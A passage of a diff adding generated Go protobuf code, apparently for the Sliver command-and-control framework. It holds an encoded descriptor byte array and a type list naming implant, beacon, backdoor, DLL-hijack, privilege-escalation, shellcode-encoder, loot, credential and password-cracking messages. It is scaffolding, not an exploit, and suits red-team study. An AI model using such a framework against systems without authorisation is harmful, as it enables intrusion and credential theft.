0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, + 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, + 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, + 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, + 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, + 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, + 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, + 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, + 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, + 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, + 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, + 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, + 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, + 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, + 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, + 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, + 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, + 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, + 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, + 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, + 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, + 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, + 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, + 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, + 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, + 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, + 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, + 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, + 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, + 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, + 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, + 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, + 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, + 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, + 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, + 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, + 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, + 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, + 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, + 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, + 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, + 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, + 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, + 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, + 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x2a, 0x6a, + 0x0a, 0x17, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x54, 0x75, 0x72, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x12, 0x41, 0x49, 0x5f, + 0x54, 0x55, 0x52, 0x4e, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x45, 0x5f, 0x49, 0x44, 0x4c, 0x45, 0x10, + 0x00, 0x12, 0x1d, 0x0a, 0x19, 0x41, 0x49, 0x5f, 0x54, 0x55, 0x52, 0x4e, 0x5f, 0x53, 0x54, 0x41, + 0x54, 0x45, 0x5f, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x01, + 0x12, 0x18, 0x0a, 0x14, 0x41, 0x49, 0x5f, 0x54, 0x55, 0x52, 0x4e, 0x5f, 0x53, 0x54, 0x41, 0x54, + 0x45, 0x5f, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x73, 0x0a, 0x19, 0x41, 0x49, + 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, + 0x61, 0x67, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x18, 0x0a, 0x14, 0x41, 0x49, 0x5f, 0x4d, 0x45, + 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x43, 0x48, 0x41, 0x54, 0x10, + 0x00, 0x12, 0x1d, 0x0a, 0x19, 0x41, 0x49, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, + 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x52, 0x45, 0x41, 0x53, 0x4f, 0x4e, 0x49, 0x4e, 0x47, 0x10, 0x01, + 0x12, 0x1d, 0x0a, 0x19, 0x41, 0x49, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x4b, + 0x49, 0x4e, 0x44, 0x5f, 0x54, 0x4f, 0x4f, 0x4c, 0x5f, 0x43, 0x41, 0x4c, 0x4c, 0x10, 0x02, 0x2a, + 0x67, 0x0a, 0x1f, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x56, 0x69, 0x73, 0x69, 0x62, 0x69, 0x6c, 0x69, + 0x74, 0x79, 0x12, 0x21, 0x0a, 0x1d, 0x41, 0x49, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, + 0x5f, 0x56, 0x49, 0x53, 0x49, 0x42, 0x49, 0x4c, 0x49, 0x54, 0x59, 0x5f, 0x43, 0x4f, 0x4e, 0x54, + 0x45, 0x58, 0x54, 0x10, 0x00, 0x12, 0x21, 0x0a, 0x1d, 0x41, 0x49, 0x5f, 0x4d, 0x45, 0x53, 0x53, + 0x41, 0x47, 0x45, 0x5f, 0x56, 0x49, 0x53, 0x49, 0x42, 0x49, 0x4c, 0x49, 0x54, 0x59, 0x5f, 0x55, + 0x49, 0x5f, 0x4f, 0x4e, 0x4c, 0x59, 0x10, 0x01, 0x2a, 0x7b, 0x0a, 0x1a, 0x41, 0x49, 0x43, 0x6f, + 0x6e, 0x76, 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x1e, 0x0a, 0x1a, 0x41, 0x49, 0x5f, 0x4d, 0x45, 0x53, + 0x53, 0x41, 0x47, 0x45, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x45, 0x5f, 0x43, 0x4f, 0x4d, 0x50, 0x4c, + 0x45, 0x54, 0x45, 0x44, 0x10, 0x00, 0x12, 0x20, 0x0a, 0x1c, 0x41, 0x49, 0x5f, 0x4d, 0x45, 0x53, + 0x53, 0x41, 0x47, 0x45, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x45, 0x5f, 0x49, 0x4e, 0x5f, 0x50, 0x52, + 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x01, 0x12, 0x1b, 0x0a, 0x17, 0x41, 0x49, 0x5f, 0x4d, + 0x45, 0x53, 0x53, 0x41, 0x47, 0x45, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x45, 0x5f, 0x46, 0x41, 0x49, + 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0xc5, 0x03, 0x0a, 0x17, 0x41, 0x49, 0x43, 0x6f, 0x6e, 0x76, + 0x65, 0x72, 0x73, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x26, 0x0a, 0x22, 0x41, 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, + 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x45, 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, + 0x55, 0x4e, 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x33, 0x0a, 0x2f, 0x41, 0x49, 0x5f, + 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x45, 0x56, 0x45, + 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, + 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, 0x50, 0x44, 0x41, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x33, + 0x0a, 0x2f, 0x41, 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, 0x4f, + 0x4e, 0x5f, 0x45, 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x43, 0x4f, 0x4e, + 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x44, 0x45, 0x4c, 0x45, 0x54, 0x45, + 0x44, 0x10, 0x02, 0x12, 0x2b, 0x0a, 0x27, 0x41, 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, + 0x53, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x45, 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, + 0x45, 0x5f, 0x54, 0x55, 0x52, 0x4e, 0x5f, 0x53, 0x54, 0x41, 0x52, 0x54, 0x45, 0x44, 0x10, 0x03, + 0x12, 0x2d, 0x0a, 0x29, 0x41, 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, + 0x49, 0x4f, 0x4e, 0x5f, 0x45, 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x54, + 0x55, 0x52, 0x4e, 0x5f, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x04, 0x12, + 0x2a, 0x0a, 0x26, 0x41, 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, + 0x4f, 0x4e, 0x5f, 0x45, 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x54, 0x55, + 0x52, 0x4e, 0x5f, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x05, 0x12, 0x2e, 0x0a, 0x2a, 0x41, + 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x45, + 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, + 0x45, 0x5f, 0x53, 0x54, 0x41, 0x52, 0x54, 0x45, 0x44, 0x10, 0x06, 0x12, 0x2e, 0x0a, 0x2a, 0x41, + 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x45, + 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, + 0x45, 0x5f, 0x55, 0x50, 0x44, 0x41, 0x54, 0x45, 0x44, 0x10, 0x07, 0x12, 0x30, 0x0a, 0x2c, 0x41, + 0x49, 0x5f, 0x43, 0x4f, 0x4e, 0x56, 0x45, 0x52, 0x53, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x45, + 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x4d, 0x45, 0x53, 0x53, 0x41, 0x47, + 0x45, 0x5f, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x08, 0x42, 0x2f, 0x5a, + 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, + 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_clientpb_client_proto_rawDescOnce sync.Once + file_clientpb_client_proto_rawDescData []byte +) + +func file_clientpb_client_proto_rawDescGZIP() []byte { + file_clientpb_client_proto_rawDescOnce.Do(func() { + file_clientpb_client_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_clientpb_client_proto_rawDesc), len(file_clientpb_client_proto_rawDesc))) + }) + return file_clientpb_client_proto_rawDescData +} + +var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 18) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 171) +var file_clientpb_client_proto_goTypes = []any{ + (OutputFormat)(0), // 0: clientpb.OutputFormat + (StageProtocol)(0), // 1: clientpb.StageProtocol + (FileType)(0), // 2: clientpb.FileType + (ShellcodeEncoder)(0), // 3: clientpb.ShellcodeEncoder + (HTTPC2SegmentType)(0), // 4: clientpb.HTTPC2SegmentType + (HashType)(0), // 5: clientpb.HashType + (States)(0), // 6: clientpb.States + (CrackJobStatus)(0), // 7: clientpb.CrackJobStatus + (CrackAttackMode)(0), // 8: clientpb.CrackAttackMode + (CrackEncoding)(0), // 9: clientpb.CrackEncoding + (CrackOutfileFormat)(0), // 10: clientpb.CrackOutfileFormat + (CrackWorkloadProfile)(0), // 11: clientpb.CrackWorkloadProfile + (CrackFileType)(0), // 12: clientpb.CrackFileType + (AIConversationTurnState)(0), // 13: clientpb.AIConversationTurnState + (AIConversationMessageKind)(0), // 14: clientpb.AIConversationMessageKind + (AIConversationMessageVisibility)(0), // 15: clientpb.AIConversationMessageVisibility + (AIConversationMessageState)(0), // 16: clientpb.AIConversationMessageState + (AIConversationEventType)(0), // 17: clientpb.AIConversationEventType + (*Version)(nil), // 18: clientpb.Version + (*ClientLogData)(nil), // 19: clientpb.ClientLogData + (*Session)(nil), // 20: clientpb.Session + (*Beacon)(nil), // 21: clientpb.Beacon + (*Beacons)(nil), // 22: clientpb.Beacons + (*BeaconTask)(nil), // 23: clientpb.BeaconTask + (*BeaconTasks)(nil), // 24: clientpb.BeaconTasks + (*BeaconIntegrity)(nil), // 25: clientpb.BeaconIntegrity + (*ImplantC2)(nil), // 26: clientpb.ImplantC2 + (*ShellcodeConfig)(nil), // 27: clientpb.ShellcodeConfig + (*ImplantConfig)(nil), // 28: clientpb.ImplantConfig + (*SpoofMetadataFile)(nil), // 29: clientpb.SpoofMetadataFile + (*IMAGE_RESOURCE_DIRECTORY)(nil), // 30: clientpb.IMAGE_RESOURCE_DIRECTORY + (*IMAGE_RESOURCE_DIRECTORY_ENTRY)(nil), // 31: clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY + (*IMAGE_RESOURCE_DATA_ENTRY)(nil), // 32: clientpb.IMAGE_RESOURCE_DATA_ENTRY + (*IMAGE_EXPORT_DIRECTORY)(nil), // 33: clientpb.IMAGE_EXPORT_DIRECTORY + (*PESpoofMetadataConfig)(nil), // 34: clientpb.PESpoofMetadataConfig + (*SpoofMetadataConfig)(nil), // 35: clientpb.SpoofMetadataConfig + (*TrafficEncoder)(nil), // 36: clientpb.TrafficEncoder + (*TrafficEncoderMap)(nil), // 37: clientpb.TrafficEncoderMap + (*TrafficEncoderTest)(nil), // 38: clientpb.TrafficEncoderTest + (*TrafficEncoderTests)(nil), // 39: clientpb.TrafficEncoderTests + (*ExternalImplantConfig)(nil), // 40: clientpb.ExternalImplantConfig + (*ExternalImplantBinary)(nil), // 41: clientpb.ExternalImplantBinary + (*ImplantBuilds)(nil), // 42: clientpb.ImplantBuilds + (*ImplantStageReq)(nil), // 43: clientpb.ImplantStageReq + (*ImplantBuild)(nil), // 44: clientpb.ImplantBuild + (*CompilerTarget)(nil), // 45: clientpb.CompilerTarget + (*CrossCompiler)(nil), // 46: clientpb.CrossCompiler + (*Compiler)(nil), // 47: clientpb.Compiler + (*DeleteReq)(nil), // 48: clientpb.DeleteReq + (*DNSCanary)(nil), // 49: clientpb.DNSCanary + (*Canaries)(nil), // 50: clientpb.Canaries + (*UniqueWGIP)(nil), // 51: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 52: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 53: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 54: clientpb.RegenerateReq + (*Job)(nil), // 55: clientpb.Job + (*Jobs)(nil), // 56: clientpb.Jobs + (*KillJobReq)(nil), // 57: clientpb.KillJobReq + (*RestartJobReq)(nil), // 58: clientpb.RestartJobReq + (*KillJob)(nil), // 59: clientpb.KillJob + (*ListenerJob)(nil), // 60: clientpb.ListenerJob + (*MultiplayerListenerReq)(nil), // 61: clientpb.MultiplayerListenerReq + (*MTLSListenerReq)(nil), // 62: clientpb.MTLSListenerReq + (*WGListenerReq)(nil), // 63: clientpb.WGListenerReq + (*DNSListenerReq)(nil), // 64: clientpb.DNSListenerReq + (*HTTPListenerReq)(nil), // 65: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 66: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 67: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 68: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 69: clientpb.TCPPivot + (*Sessions)(nil), // 70: clientpb.Sessions + (*RenameReq)(nil), // 71: clientpb.RenameReq + (*GenerateReq)(nil), // 72: clientpb.GenerateReq + (*GenerateStageReq)(nil), // 73: clientpb.GenerateStageReq + (*Generate)(nil), // 74: clientpb.Generate + (*GenerateSpoofMetadataReq)(nil), // 75: clientpb.GenerateSpoofMetadataReq + (*MSFReq)(nil), // 76: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 77: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 78: clientpb.StagerListenerReq + (*StagerListener)(nil), // 79: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 80: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 81: clientpb.ShellcodeRDI + (*GetSystemReq)(nil), // 82: clientpb.GetSystemReq + (*MigrateReq)(nil), // 83: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 84: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 85: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 86: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 87: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 88: clientpb.PivotGraph + (*Client)(nil), // 89: clientpb.Client + (*Event)(nil), // 90: clientpb.Event + (*Operators)(nil), // 91: clientpb.Operators + (*Operator)(nil), // 92: clientpb.Operator + (*WebContent)(nil), // 93: clientpb.WebContent + (*WebsiteAddContent)(nil), // 94: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 95: clientpb.WebsiteRemoveContent + (*Website)(nil), // 96: clientpb.Website + (*Websites)(nil), // 97: clientpb.Websites + (*WGClientConfig)(nil), // 98: clientpb.WGClientConfig + (*Loot)(nil), // 99: clientpb.Loot + (*AllLoot)(nil), // 100: clientpb.AllLoot + (*IOC)(nil), // 101: clientpb.IOC + (*ExtensionData)(nil), // 102: clientpb.ExtensionData + (*Host)(nil), // 103: clientpb.Host + (*AllHosts)(nil), // 104: clientpb.AllHosts + (*DllHijackReq)(nil), // 105: clientpb.DllHijackReq + (*DllHijack)(nil), // 106: clientpb.DllHijack + (*BackdoorReq)(nil), // 107: clientpb.BackdoorReq + (*Backdoor)(nil), // 108: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 109: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 110: clientpb.ShellcodeEncode + (*ShellcodeEncoderArchMap)(nil), // 111: clientpb.ShellcodeEncoderArchMap + (*ShellcodeEncoderMap)(nil), // 112: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 113: clientpb.ExternalGenerateReq + (*Builders)(nil), // 114: clientpb.Builders + (*Builder)(nil), // 115: clientpb.Builder + (*HTTPC2Configs)(nil), // 116: clientpb.HTTPC2Configs + (*C2ProfileReq)(nil), // 117: clientpb.C2ProfileReq + (*HTTPC2ConfigReq)(nil), // 118: clientpb.HTTPC2ConfigReq + (*HTTPC2Config)(nil), // 119: clientpb.HTTPC2Config + (*HTTPC2ServerConfig)(nil), // 120: clientpb.HTTPC2ServerConfig + (*HTTPC2ImplantConfig)(nil), // 121: clientpb.HTTPC2ImplantConfig + (*HTTPC2Cookie)(nil), // 122: clientpb.HTTPC2Cookie + (*HTTPC2Header)(nil), // 123: clientpb.HTTPC2Header + (*HTTPC2URLParameter)(nil), // 124: clientpb.HTTPC2URLParameter + (*HTTPC2PathSegment)(nil), // 125: clientpb.HTTPC2PathSegment + (*Credential)(nil), // 126: clientpb.Credential + (*Credentials)(nil), // 127: clientpb.Credentials + (*Crackstations)(nil), // 128: clientpb.Crackstations + (*CrackstationStatus)(nil), // 129: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 130: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 131: clientpb.CrackBenchmark + (*CrackTask)(nil), // 132: clientpb.CrackTask + (*Crackstation)(nil), // 133: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 134: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 135: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 136: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 137: clientpb.CrackCommand + (*CrackJob)(nil), // 138: clientpb.CrackJob + (*CrackResponse)(nil), // 139: clientpb.CrackResponse + (*CrackConfig)(nil), // 140: clientpb.CrackConfig + (*CrackFiles)(nil), // 141: clientpb.CrackFiles + (*CrackFile)(nil), // 142: clientpb.CrackFile + (*CrackFileChunk)(nil), // 143: clientpb.CrackFileChunk + (*AIProviderConfigs)(nil), // 144: clientpb.AIProviderConfigs + (*AIProviderConfig)(nil), // 145: clientpb.AIProviderConfig + (*AIConfigSummary)(nil), // 146: clientpb.AIConfigSummary + (*AIConversationReq)(nil), // 147: clientpb.AIConversationReq + (*AIConversations)(nil), // 148: clientpb.AIConversations + (*AIContextWindowUsage)(nil), // 149: clientpb.AIContextWindowUsage + (*AIConversation)(nil), // 150: clientpb.AIConversation + (*AIConversationMessages)(nil), // 151: clientpb.AIConversationMessages + (*AIConversationMessage)(nil), // 152: clientpb.AIConversationMessage + (*AIConversationEvent)(nil), // 153: clientpb.AIConversationEvent + (*MonitoringProviders)(nil), // 154: clientpb.MonitoringProviders + (*MonitoringProvider)(nil), // 155: clientpb.MonitoringProvider + (*ResourceID)(nil), // 156: 